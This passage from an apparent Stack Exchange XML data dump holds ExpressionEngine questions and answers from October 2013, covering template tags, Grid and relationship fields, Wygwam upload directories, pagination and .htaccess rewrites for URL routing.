error.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-10-04T02:01:31.053" LastActivityDate="2013-10-04T02:01:31.053" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14299" PostTypeId="1" AcceptedAnswerId="14909" CreationDate="2013-10-04T05:53:59.620" Score="0" ViewCount="31" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Og8tO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using following code for display about section i want to hide above section from left navigation when age and cost does not have any value please guide me thank you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;filter-attribute&quot;&amp;gt;&#xA;  &amp;lt;h3&amp;gt;Filter By&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;attirbute-name&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Age&amp;lt;/h2&amp;gt;&#xA;  {exp:channel:entries channel=&quot;science_projects&quot; search:age=&quot;1-20|21-40|41-60|61-80|81-100&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; sort=&quot;desc&quot;}&#xA;  {if age != &quot;Select Age Range&quot;}&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{age}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  {/if}&#xA;  {/exp:channel:entries} &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;attirbute-name&quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Cost&amp;lt;/h2&amp;gt;&#xA;  {exp:channel:entries channel=&quot;science_projects&quot; search:cost=&quot;Low|Medium|High&quot; limit=&quot;3&quot; dynamic=&quot;off&quot; sort=&quot;desc&quot;}&#xA;  {if cost != &quot;Select Cost Option&quot;}&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{cost}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;  {/if}&#xA;  {/exp:channel:entries} &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2091" LastActivityDate="2013-10-23T20:12:32.177" Title="How to hide following part if age and cost not have any value?" Tags="|ee2|tags|entry|html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14302" PostTypeId="1" AcceptedAnswerId="14303" CreationDate="2013-10-04T13:05:05.427" Score="0" ViewCount="59" Body="&lt;p&gt;When using the main assets window, all of the available upload directories are available to choose from in the left hand navigation. (See Screenshot 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the popup generated by wygwam when adding a link or inserting an image only the first upload directory defined is available (See screenshot 2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to list all upload directories in the wygwam popup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Colin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lfQgX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J2TVD.png&quot; alt=&quot;Wygwam popup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1515" LastEditorUserId="1515" LastEditDate="2013-10-04T13:16:40.267" LastActivityDate="2013-10-04T13:26:07.633" Title="Only the first upload directory shows in assets when used with wygwam" Tags="|assets|pixelandtonic|wygwam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14303" PostTypeId="2" ParentId="14302" CreationDate="2013-10-04T13:26:07.633" Score="2" Body="&lt;p&gt;Go to Add-Ons &gt; Modules &gt; Wygwam &gt; [your config name], and set the “Upload Directory” setting to blank, and Wygwam will start showing all of your upload directories.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-10-04T13:26:07.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14304" PostTypeId="1" CreationDate="2013-10-04T13:50:31.667" Score="1" ViewCount="165" Body="&lt;p&gt;I am developing a Tutoring service website: a school contacts the Tutoring service for a Student, the Tutoring service arranges a private Tutor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each school can log in and see the Students from their school placed with the Tutoring service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Schools are members. The Students are channel entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each School is the author of all of their Students’ entries. Using {author_id} ensures a school can only see its own Students.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a details page for each Student.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the details page is the Tutor's schedule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tutor's schedule channel is going to be authored by the Tutors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be more than one Tutor per Student. The same Tutor could be assigned to more than one Student. Also, one Tutor can teach the same Student more than one subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a Grid field to set up the Tutor’s schedule.  (Day of Week - Start Time - End Time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have related the Tutor's schedule channel to the Student channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it seems the only way I can get the Tutor's schedule into the Student channel is by putting this into the Student channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents channel=&quot;tutors_subjects_schedules&quot;}&#xA;&#xA;    &amp;lt;p&amp;gt;{parents:tutors_name}&amp;lt;p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{parents:tutors_email}&amp;lt;p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{parents:tutors_phone}&amp;lt;p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{parents:subject}&amp;lt;p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{parents:schedule:day} {parents:schedule:start_time} {parents:schedule:start_am_pm} {parents:schedule:end_time} {parents:schedule:end_am_pm}&amp;lt;p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{parents:exceptions}&amp;lt;p&amp;gt;&#xA;&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is all the fields comes in except the Grid fields. And from what I see in the EE 2.7.1 guide, it's an issue the Grid fields can't be used with parent relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking into using Matrix/Playa instead of EE's native Grid/Relationships, but I was wondering if there was another workaround for the probelm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not an expert with either EE or Relationships. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2139" LastActivityDate="2014-01-10T20:12:51.697" Title="Workaround for Grid incompatibility with Parent realtionships?" Tags="|relationships|grid|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14305" PostTypeId="2" ParentId="14293" CreationDate="2013-10-04T14:17:55.447" Score="1" Body="&lt;p&gt;This was a bug that was fixed in Freeform 4.1.0: &lt;a href=&quot;http://www.solspace.com/docs/freeform/change_log/#v4.1.0&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/change_log/#v4.1.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-04T14:17:55.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14306" PostTypeId="2" ParentId="14292" CreationDate="2013-10-04T14:43:53.867" Score="1" Body="&lt;p&gt;IE8 cannot support CSS3 styles, so it gets a plain look because its not a good browser. IE9+ supports the advanced visual styles so it should look the same as Chrome and Firefox there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to reproduce the entry filtering bug you mentioned in ie8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IE's JavaScript interpreter fails on some keywords. In this instance 'export'. On line 600 of ./system/expressionengine/third_party/freeform/views/entries.html, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'title'     : langItems.export,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'title'     : langItems['export'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Making this change fixed the errors for me in IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be fixed in the next release of Freeform, 4.1.3.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-04T14:43:53.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14307" PostTypeId="1" AcceptedAnswerId="17253" CreationDate="2013-10-04T15:29:14.453" Score="2" ViewCount="101" Body="&lt;p&gt;I'm having an issue on a site running EE v2.5.5 and Cartthrob 2.3.6. The vast majority of users are able to register no problem. However, some users intermittently go through the registration process, receive a confirmation email, but when they try to login they get the error: The existing username and/or password you submitted are not valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you check in the backend of the site the member is not registered. I can't for the life of me find any pattern. I thought it might be something to do with people registering from work, where companies have some kind of excessive caching on their servers which is confusing EE somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has experienced something similar please feel free to share the pain, and even better a solution!  &lt;/p&gt;&#xA;" OwnerUserId="1945" LastEditorUserId="1945" LastEditDate="2013-10-07T14:25:18.587" LastActivityDate="2013-11-29T14:28:34.917" Title="Cartthrob: confirmation email sent but member not registered" Tags="|members|cartthrob|profile-edit|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14309" PostTypeId="1" AcceptedAnswerId="16991" CreationDate="2013-10-04T16:25:05.767" Score="2" ViewCount="88" Body="&lt;p&gt;I seem to be getting an error when putting relationships in EE version 2.7.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'L0.grid_field_id' in 'field list'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The relationships looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{generic-call-to-action}&#xA;    {generic-call-to-action:cta-image}&#xA;    {generic-call-to-action:cta-main-content}&#xA;{/generic-call-to-action}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and is sitting in a channel entries tag for the generic channel which is where the generic-call-to-action channel field has been set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a new bug in 2.7.1 as this has always worked in previous versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="55" LastEditDate="2013-10-04T17:28:45.690" LastActivityDate="2013-11-21T13:30:28.907" Title="Relationships EE 2.7.1" Tags="|relationships|2.7.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14310" PostTypeId="1" AcceptedAnswerId="14319" CreationDate="2013-10-04T16:55:13.907" Score="1" ViewCount="179" Body="&lt;p&gt;In an efford to restrict page results to categories (that I pass in the URL from a link on another page) I came up with the following URL structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    my_site.com/index.php/template_group/category/category_url/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This tag code on the index page of this template_group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;5&quot; dynamic=&quot;off&quot; category=&quot;{segment_2}&quot; pagination=&quot;bottom&quot; paginate_base=&quot;template_group/{segment_2}/{segment_3}/&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This works, but the pagination fails.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do get the correct pagination numbers at the end of my URL, but the tag does not listen anymore to the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried very hard to get around this, but failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do hope someone can shine a light here.&#xA;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2013-10-04T21:20:41.817" Title="How to pass category_id in the URL and make pagination work?" Tags="|categories|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14312" PostTypeId="1" CreationDate="2013-10-04T17:31:51.283" Score="1" ViewCount="117" Body="&lt;p&gt;I'm using Entry Type to hide/show fields. If the field is a Matrix with Wygwam columns, the Wygwam fields don't initialize when the Matrix field is revealed by Entry Type. However, if I reload the Edit page, Wygwam intializes and all is well. Will be irritating to client to have to reload page for Wygwam's buttons.&lt;/p&gt;&#xA;" OwnerUserId="1553" LastActivityDate="2013-10-05T17:27:44.300" Title="Wygwam fields (in Matrix) not initialized when switching fields with Entry Type" Tags="|matrix|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14313" PostTypeId="1" CreationDate="2013-10-04T18:11:41.743" Score="1" ViewCount="55" Body="&lt;p&gt;I'm using both Solspace Calendar and SEO Lite. Was wondering how to get the {event_title} from Calendar to display in the browser title when the event detail page is viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommendations? Thanks very much in advance.&lt;/p&gt;&#xA;" OwnerUserId="2140" LastActivityDate="2013-10-04T19:58:24.717" Title="Solspace Calendar and SEO Lite" Tags="|solspace|calendar|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14314" PostTypeId="2" ParentId="13978" CreationDate="2013-10-04T18:17:15.597" Score="2" Body="&lt;p&gt;I'm working on a small website with EE-core for a non-profit theater-group and also needed some basic member login / logout functionality to allow members to login and see members-only templates and members-only &lt;code&gt;{if logged_in}&lt;/code&gt; content. Members can be added and edited via the control panel by an admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try-out a mashup i made of an older version of the freemember plugin,  for use in EE-core.&lt;br&gt;&#xA;(yes it's beta) via this Gist:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Core_member&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://gist.github.com/GDmac/6829953&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/GDmac/6829953&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-10-04T18:17:15.597" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14315" PostTypeId="1" AcceptedAnswerId="14318" CreationDate="2013-10-04T19:26:41.807" Score="1" ViewCount="66" Body="&lt;p&gt;I am new to EE and working my way around the CMS. I have worked with WP and Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The task I have is to build an admin functionality where the admin can select either a URL or upload a file and this will show up as a list of links (either redirect to that URL or download the uploaded file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is creating a custom field type the way to go about this? Please let me if there is a sample code for this that I can follow the programming guidelines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="1814" LastActivityDate="2013-10-04T21:37:23.813" Title="Create a plugin or Field type" Tags="|custom-fields|fieldtype|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14316" PostTypeId="2" ParentId="14313" CreationDate="2013-10-04T19:58:24.717" Score="4" Body="&lt;p&gt;The short answer is to just pass in either the &lt;code&gt;entry_id&lt;/code&gt; or the &lt;code&gt;url_title&lt;/code&gt; for this calendar entry, either of which should be easy enough to do on a detail page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To know which would be best in your case I'd need to see key parts of your template(s), but here are a couple examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt; Use the &lt;code&gt;entry_id&lt;/code&gt; for your event from the URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:seo_lite entry_id=&quot;{segment_n}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt; Use the &lt;code&gt;url_title&lt;/code&gt; for your event that is in the URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:seo_lite url_title=&quot;{segment_n}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Where &lt;code&gt;n&lt;/code&gt; is the number of the segment that contains the entry id or url title.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR Option 3:&lt;/strong&gt; If you're Seo Lite tag is already &lt;em&gt;within&lt;/em&gt; your &lt;code&gt;calendar:events&lt;/code&gt; tag, just pass the &lt;code&gt;entry_id&lt;/code&gt; variable right in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:seo_lite entry_id=&quot;{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need more help, just update your question to include the relevant template code.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-10-04T19:58:24.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14317" PostTypeId="1" AcceptedAnswerId="15571" CreationDate="2013-10-04T20:06:41.717" Score="2" ViewCount="930" Body="&lt;p&gt;So, running on 2.5.5 I would do the following (with SafeCracker instead):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;resumeer&quot; return=&quot;folketinget/resume_ret/ENTRY_ID&quot; include_jquery=&quot;no&quot;}&#xA;    &amp;lt;p&amp;gt;Overskrift: &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot;  /&amp;gt;&amp;lt;/p&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;url_title&quot; id=&quot;url_title&quot; value=&quot;{url_title}&quot; maxlength=&quot;75&quot; size=&quot;50&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;allow_comments&quot; value=&quot;y&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;relation_lovforslag&quot; value=&quot;&amp;lt;?php echo $entry_id; ?&amp;gt;&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;Closed&quot; /&amp;gt;&#xA;     {field:wygwam_basic}&#xA;     &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;GEM KLADDE&quot; class=&quot;form-submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is for creating a related entry to the main channel entry. The field relation_lovforslag is for that purpose and it just sends the entry_id of the main entry. However, this doesn’t work anymore and I wonder what the proper syntax is for 2.7?&lt;/p&gt;&#xA;" OwnerUserId="2052" LastActivityDate="2013-11-08T12:12:00.233" Title="exp:channel:form and relationships" Tags="|relationships|forms|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14318" PostTypeId="2" ParentId="14315" CreationDate="2013-10-04T21:17:07.020" Score="3" Body="&lt;p&gt;As folks mention above, no custom development is needed here. Just use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html&quot; rel=&quot;nofollow&quot;&gt;native Grid fieldtype&lt;/a&gt; with two columns - one using the File fieldtype (called, say, &lt;code&gt;file&lt;/code&gt;), and the other using the Text fieldtype (called, say, &lt;code&gt;url&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_grid_field}&#xA;    {if my_grid_field:file}&amp;lt;a href=&quot;{my_grid_field:file}&quot;&amp;gt;Download this file&amp;lt;/a&amp;gt;{/if}&#xA;    {if my_grid_field:url}&amp;lt;a href=&quot;{my_grid_field:url}&quot;&amp;gt;Visit this link&amp;lt;/a&amp;gt;{/if}&#xA;{/my_grid_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-10-04T21:37:23.813" LastActivityDate="2013-10-04T21:37:23.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14319" PostTypeId="2" ParentId="14310" CreationDate="2013-10-04T21:20:41.817" Score="1" Body="&lt;p&gt;I think you're doing more work than you need to here. Are you familiar with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html&quot; rel=&quot;nofollow&quot;&gt;Use Category URL Titles In Links? and Category URL Indicator preferences&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These preferences will let you do exactly what you want, but dynamically (so, no need for &lt;code&gt;dynamic=&quot;off&quot; category=&quot;{segment_2}&quot;&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-10-04T21:20:41.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14320" PostTypeId="1" AcceptedAnswerId="14755" CreationDate="2013-10-04T21:44:07.693" Score="1" ViewCount="186" Body="&lt;p&gt;Trying to setup a sub-directory with a separate EE installation. All is well with the installation, I got a few templates and tpl groups setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I try and view the template (Template manager -&gt; TPL Group -&gt; view) I always get a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a better understanding here is my site: &lt;a href=&quot;http://warpedcoders.com/&quot; rel=&quot;nofollow&quot;&gt;http://warpedcoders.com/&lt;/a&gt; here is the subdomain: &lt;a href=&quot;http://warpedcoders.com/charlie/&quot; rel=&quot;nofollow&quot;&gt;http://warpedcoders.com/charlie/&lt;/a&gt; and here is the 404 &lt;a href=&quot;http://warpedcoders.com/charlie/news/page_content&quot; rel=&quot;nofollow&quot;&gt;http://warpedcoders.com/charlie/news/page_content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My .htaccess currently looks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /charlie/&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ $1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anybody help me out?&lt;/p&gt;&#xA;" OwnerUserId="1285" LastActivityDate="2014-11-24T16:28:26.880" Title="404 on Every Template and TPL group" Tags="|ee2|htaccess|404|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14321" PostTypeId="2" ParentId="14245" CreationDate="2013-10-04T23:15:23.560" Score="17" Body="&lt;p&gt;I'm using EE v2.7.0 and the syntax actually appears to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{grid_fields}&#xA;     {grid_fields:relationship}{grid_fields:relationship:title}{/grid_fields:relationship}&#xA;{/grid_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-10-04T23:15:23.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14322" PostTypeId="1" CreationDate="2013-10-05T05:50:33.513" Score="0" ViewCount="644" Body="&lt;p&gt;i am using &quot;example.com&quot; URL for magento and &quot;example.com/info/blog&quot; URL for expression engine blog access now client want to access expression engine blog in root URL &quot;example.com/blog&quot; is it possible with coding ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to remove &quot;info&quot; from URL i installed expression engine in &quot;info&quot; folder but i want to access expression engine from magento URL &quot;example.com&quot; not from &quot;example.com/info/&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please guide me&#xA;thank you.&lt;/p&gt;&#xA;" OwnerUserId="2091" LastEditorUserId="2091" LastEditDate="2013-10-05T14:27:09.623" LastActivityDate="2013-10-05T14:27:09.623" Title="how i can change root url?" Tags="|ee2|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14323" PostTypeId="2" ParentId="14322" CreationDate="2013-10-05T07:09:15.573" Score="0" Body="&lt;p&gt;Yes, this is possible with ExpressionEngine. It's right in the manual - h&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;ow to remove index.php&lt;/a&gt; (which I assume is info, on your system) from URLs. These directions are for version 2.7.1, your version may be older, but ellislab does have older versions of the help documentation available (2.4.4, 2.5.5, 2.6.1, 2.7.1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this answer won't help you, please edit your question to let us know what version of EE you're using, and what OS and server software is on your server.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-10-05T07:09:15.573" CommentCount="2" CommunityOwnedDate="2013-10-05T07:09:15.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="14324" PostTypeId="2" ParentId="14322" CreationDate="2013-10-05T11:37:22.297" Score="1" Body="&lt;p&gt;you can try out the &quot;include list method&quot; from the old wiki page. Instead of RewriteRule to index.php, use a RewriteRule to info/index.php/$1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;update: tested on my localhost&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond $1 ^(blog|home|TemplateGroup|P[0-9]{2,8}) [NC] &#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ info/index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i would try-out several things on a local dev machine first. You have to test for site-index and site-url etc. so that {path=} variables still work, or otherwise you have set a custom global variable for {site_root} or something to use for urls in the blog. EE does have to know it's path to the main index.php for various actions (e.g. info/index.php?ACT=xx)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://web.archive.org/web/20120831062016/http://expressionengine.com/wiki/Remove_index.php_From_URLs&quot; rel=&quot;nofollow&quot;&gt;http://web.archive.org/web/20120831062016/http://expressionengine.com/wiki/Remove_index.php_From_URLs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-10-05T12:36:31.373" LastActivityDate="2013-10-05T12:36:31.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14325" PostTypeId="1" CreationDate="2013-10-05T12:16:30.933" Score="2" ViewCount="116" Body="&lt;p&gt;i am very interested in new 2.0 version and see as with 1.0 there is no option for Realex Payments (irish payments handler) support. i know this is a niche market but is the only thing stopping me using this ecommerce in our projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plans to expand the payment providers ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.realexpayments.com/developers&quot; rel=&quot;nofollow&quot;&gt;http://www.realexpayments.com/developers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2142" LastEditorUserId="422" LastEditDate="2013-10-05T13:10:14.020" LastActivityDate="2013-10-05T13:19:20.333" Title="Expresso Store: Realex Payments" Tags="|expresso-store|payment-gateway|" AnswerCount="1" CommentCount="3" ClosedDate="2013-10-30T18:13:03.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="14327" PostTypeId="2" ParentId="14325" CreationDate="2013-10-05T13:19:20.333" Score="2" Body="&lt;p&gt;If this is in reference to Store v2 then the good news is that support for the Realex payment gateway is intended to be rolled out in the next month or two. Keep an eye on the &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt; for confirmation of when it's been added to the available gateways.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-10-05T13:19:20.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
